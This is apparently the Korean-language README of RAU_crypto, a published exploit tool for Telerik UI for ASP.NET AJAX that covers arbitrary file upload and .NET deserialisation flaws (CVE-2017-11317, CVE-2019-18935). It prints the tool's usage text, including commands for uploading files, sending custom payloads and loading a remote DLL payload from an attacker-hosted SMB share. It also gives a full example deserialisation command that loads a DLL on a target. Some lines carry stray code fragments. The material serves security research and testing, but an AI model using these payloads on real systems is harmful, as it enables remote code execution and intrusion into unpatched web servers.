
Telerik UI for ASP.NET AJAX 파일 업로드 및 .NET 역직렬화 익스플로잇 (CVE-2017-11317, CVE-2017-11357, CVE-2019-18935)
Telerik UI for ASP.NET AJAX를 위한 통합 익스플로잇.
이제 공격자가 호스팅하는 SMB 서비스에서 원격 페이로드를 가져오는 대상의 능력을 테스트할 수 있습니다. Burp Collaborator 및/또는 Responder를 사용하여 필요한 전제 조건이 갖춰져 있는지 테스트할 수 있습니다.
익스플로잇이 작동하려면 일반적으로 하드코딩된 키가 있는 버전이 필요하거나, 예를 들어 web.config의 내용을 공개할 수 있다면 키를 알아야 합니다. 또한 이 익스플로잇은 Telerik.Web.UI.WebResource.axd?type=rau와 함께 사용되는 rauPostData의 복호화 및 암호화를 간단히 수행할 수 있습니다.
pip3 install pycryptodome 또는 pip3 install pycryptodomex로 설치제 다른 Telerik UI 익스플로잇(CVE-2017-9248)도 관심이 있을 것입니다. 다음에서 확인할 수 있습니다:
참고 - 마지막 네 항목은 완료되었지만 공개되지 않았습니다.
파일 업로드(CVE-2017-11317) 취약점은 다른 사람들이 발견했으며, @straight_blast @pwntester @olekmirosh에게 공로가 있다고 생각합니다. 발표 직후, 저는 작업 중에 Telerik 라이브러리를 접하게 되었고, 그래서 이를 연구하고 취약점을 분석하여 2017년 7월에 이 익스플로잇을 작성했습니다. 또한 관련된 안전하지 않은 직접 객체 참조에 대해 CVE-2017-11357을 보고했습니다.
.NET 역직렬화(CVE-2019-18935) 취약점은 @mwulftange가 발견했습니다.
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py -h
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Check remote SMB payload capability -r lhost url [proxy]
Load remote SMB dll payload -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
Decrypt screenshot
Upload screenshot
.NET 역직렬화를 위한 사용자 정의 페이로드에 대한 자세한 내용은 이 취약점을 발견한 @mwulftange가 Code White 블로그에 게시한 훌륭한 기사를 참조하십시오.
업데이트 - Caleb Gross @noperator의 대체 익스플로잇이 있으며, 이 익스플로잇의 기능을 통합하고 모든 것을 설명하는 훌륭한 블로그 기사가 있습니다. 또한 RAU_Crypto에 기여한 Caleb에게 감사드립니다.
기타 관련 링크.
예제 .NET 역직렬화 페이로드:
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
혼합 모드 DLL에 대해서는 제 다른 github 저장소를 참조하십시오:
사용자 정의 페이로드 기능에 영감을 준 @irsdl에게 특별 감사를 드립니다.
원격 dll 기능에 영감을 준 @rwincey에게 공로를 인정합니다.